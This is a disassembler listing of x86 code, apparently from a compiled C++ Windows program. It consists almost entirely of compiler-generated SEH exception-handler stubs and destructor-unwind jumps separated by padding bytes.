; Attributes: noreturn


SEH_417E50	proc near		; DATA XREF: sub_417E50+2o
		mov	eax, offset dword_440D48
		jmp	sub_4367C8
SEH_417E50	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417F10	proc near		; DATA XREF: sub_417F10+2o
		mov	eax, offset dword_440D98
		jmp	sub_4367C8
SEH_417F10	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417FD0	proc near		; DATA XREF: sub_417FD0+2o
		mov	eax, offset dword_440DE8
		jmp	sub_4367C8
SEH_417FD0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418080	proc near		; DATA XREF: sub_418080+2o
		mov	eax, offset dword_440E18
		jmp	sub_4367C8
SEH_418080	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418100	proc near		; DATA XREF: sub_418100+2o
		mov	eax, offset dword_440E48
		jmp	sub_4367C8
SEH_418100	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AB8B:				; DATA XREF: ___:00440EA4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4181B0	proc near		; DATA XREF: sub_4181B0+2o
		mov	eax, offset dword_440E78
		jmp	sub_4367C8
SEH_4181B0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43ABBB:				; DATA XREF: ___:00440EDCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418290	proc near		; DATA XREF: sub_418290+2o
		mov	eax, offset dword_440EB0
		jmp	sub_4367C8
SEH_418290	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1B4h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_418490	proc near		; DATA XREF: sub_418490+8o
		mov	eax, offset dword_440EF8
		jmp	sub_4367C8
SEH_418490	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-14h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43AC2B:				; DATA XREF: ___:00440F54o
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4190B0	proc near		; DATA XREF: sub_4190B0+2o
		mov	eax, offset dword_440F28
		jmp	sub_4367C8
SEH_4190B0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_419170	proc near		; DATA XREF: sub_419170+2o
		mov	eax, offset dword_440F60
		jmp	sub_4367C8
SEH_419170	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_419220	proc near		; DATA XREF: sub_419220+2o
		mov	eax, offset dword_440F90
		jmp	sub_4367C8
SEH_419220	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-274h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AC9B:				; DATA XREF: ___:00440FECo
		lea	ecx, [ebp-28Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4192C0	proc near		; DATA XREF: sub_4192C0+2o
		mov	eax, offset dword_440FC0
		jmp	sub_4367C8
SEH_4192C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-820h]
		jmp	sub_40186B
; ---------------------------------------------------------------------------


loc_43ACCB:				; DATA XREF: ___:0041A188o
		mov	eax, offset dword_440FF8
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-44h]
		and	eax, 1
		test	eax, eax
		jz	locret_43ACF6
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43ACF6:				; CODE XREF: ___:0043ACE8j
		retn
; ---------------------------------------------------------------------------


loc_43ACF7:				; DATA XREF: ___:00441054o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AD07:				; DATA XREF: ___:0041B0F2o
		mov	eax, offset dword_441028
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41B400	proc near		; DATA XREF: sub_41B400+2o
		mov	eax, offset dword_441068
		jmp	sub_4367C8
SEH_41B400	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_43AD40	proc near		; DATA XREF: ___:004410C4o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
sub_43AD40	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		and	eax, 1
		test	eax, eax
		jz	locret_43AD5E
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------

locret_43AD5E:				; CODE XREF: ___:0043AD50j
		retn
; ---------------------------------------------------------------------------


loc_43AD5F:				; DATA XREF: ___:004410CCo
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41B950	proc near		; DATA XREF: sub_41B950+2o
		mov	eax, offset dword_441098
		jmp	sub_4367C8
SEH_41B950	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41C390	proc near		; DATA XREF: sub_41C390+2o
		mov	eax, offset dword_4410E0
		jmp	sub_4367C8
SEH_41C390	endp

; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-10Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43ADEB:				; DATA XREF: ___:00441164o
		lea	ecx, [ebp-0DCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0ACh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-94h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0C4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	sub_4014B0
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0F4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-110h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41C610	proc near		; DATA XREF: sub_41C610+2o
		mov	eax, offset dword_441138
		jmp	sub_4367C8
SEH_41C610	endp

; ---------------------------------------------------------------------------
		db 59h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF78:				; DATA XREF: ___:0044126Co
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D540	proc near		; DATA XREF: sub_41D540+2o
		mov	eax, offset dword_441240
		jmp	sub_4367C8
SEH_41D540	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFB8:				; DATA XREF: ___:004412B4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D5D0	proc near		; DATA XREF: sub_41D5D0+2o
		mov	eax, offset dword_441288
		jmp	sub_4367C8
SEH_41D5D0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43AFF8:				; DATA XREF: ___:004412FCo
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 50h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 65h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D670	proc near		; DATA XREF: sub_41D670+2o
		mov	eax, offset dword_4412D0
		jmp	sub_4367C8
SEH_41D670	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_402031
; ---------------------------------------------------------------------------


loc_43B058:				; DATA XREF: ___:00441354o
		mov	ecx, [ebp-10h]
		add	ecx, 11h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 26h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Bh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 50h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 65h
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41D760	proc near		; DATA XREF: sub_41D760+2o
		mov	eax, offset dword_441328
		jmp	sub_4367C8
SEH_41D760	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1140h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1128h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1158h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0F2:				; DATA XREF: sub_41D830+8o
		mov	eax, offset dword_441380
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 14h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E140	proc near		; DATA XREF: sub_41E140+2o
		mov	eax, offset dword_4413D8
		jmp	sub_4367C8
SEH_41E140	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E400	proc near		; DATA XREF: sub_41E400+2o
		mov	eax, offset dword_441418
		jmp	sub_4367C8
SEH_41E400	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-48h]
		jmp	sub_401816
; ---------------------------------------------------------------------------


loc_43B188:				; DATA XREF: ___:00441494o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-48h]
		jmp	sub_401253
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41E660	proc near		; DATA XREF: sub_41E660+8o
		mov	eax, offset dword_441468
		jmp	sub_4367C8
SEH_41E660	endp

; ---------------------------------------------------------------------------
		db 26h dup(0CCh)
; ---------------------------------------------------------------------------


loc_43B210:				; DATA XREF: ___:0041EDB5o
		mov	eax, offset dword_4414F8
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-1974h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B22B:				; DATA XREF: ___:00441584o
		lea	ecx, [ebp-195Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1944h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-198Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18B4h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-192Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18CCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-1914h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-18E4h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41EF30	proc near		; DATA XREF: sub_41EF30+8o
		mov	eax, offset dword_441558
		jmp	sub_4367C8
SEH_41EF30	endp

; ---------------------------------------------------------------------------
		db 28h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-7Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B2C8:				; DATA XREF: ___:00441604o
		lea	ecx, [ebp-64h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_41F860	proc near		; DATA XREF: sub_41F860+2o
		mov	eax, offset dword_4415D8
		jmp	sub_4367C8
SEH_41F860	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-424h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-43Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		dw 8D8Dh
		dd 0FFFFFBB4h, 4183E990h
		db 0C5h, 75h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4200F0	proc near		; DATA XREF: sub_4200F0+2o
		mov	eax, offset dword_441610
		jmp	sub_4367C8
SEH_4200F0	endp

; ---------------------------------------------------------------------------
		db 14h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-112Ch]
		jmp	sub_401A6E

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_420530	proc near		; DATA XREF: sub_420530+8o
		mov	eax, offset dword_441650
		jmp	sub_4367C8
SEH_420530	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-4FCh]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B34B:				; DATA XREF: ___:004416ACo
		lea	ecx, [ebp-434h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4207E0	proc near		; DATA XREF: sub_4207E0+2o
		mov	eax, offset dword_441680
		jmp	sub_4367C8
SEH_4207E0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-84h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B37B:				; DATA XREF: ___:004416E4o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B383:				; DATA XREF: ___:004416ECo
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B38B:				; DATA XREF: ___:004416F4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B3A3:				; DATA XREF: ___:0044170Co
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B3BB:				; DATA XREF: ___:00441724o
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B3D3:				; DATA XREF: ___:0044173Co
		lea	ecx, [ebp-54h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B3EB:				; DATA XREF: ___:00441754o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B3FB:				; DATA XREF: ___:00441764o
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B40B:				; DATA XREF: ___:00441774o
		lea	ecx, [ebp-6Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_420E10	proc near		; DATA XREF: sub_420E10+8o
		mov	eax, offset dword_4416B8
		jmp	sub_4367C8
SEH_420E10	endp

; ---------------------------------------------------------------------------
		db 33h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	j_nullsub_11
		add	esp, 8
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_422650	proc near		; DATA XREF: sub_422650+2o
		mov	eax, offset dword_4417A0
		jmp	sub_4367C8
SEH_422650	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	eax, [ebp+4]
		push	eax
		mov	ecx, [ebp-10h]
		push	ecx
		call	j_nullsub_11
		add	esp, 8
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4226E0	proc near		; DATA XREF: sub_4226E0+2o
		mov	eax, offset dword_4417D0
		jmp	sub_4367C8
SEH_4226E0	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4227F0	proc near		; DATA XREF: sub_4227F0+2o
		mov	eax, offset dword_441800
		jmp	sub_4367C8
SEH_4227F0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-624h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-788h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_422A40	proc near		; DATA XREF: sub_422A40+8o
		mov	eax, offset dword_441850
		jmp	sub_4367C8
SEH_422A40	endp

; ---------------------------------------------------------------------------
		db 2Dh dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_425980	proc near		; DATA XREF: sub_425980+2o
		mov	eax, offset dword_4418D8
		jmp	sub_4367C8
SEH_425980	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-40h]
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B6A4:				; DATA XREF: ___:00425BD2o
		mov	eax, offset dword_441928
		jmp	sub_4367C8
; ---------------------------------------------------------------------------
		db 32h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_4014C4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


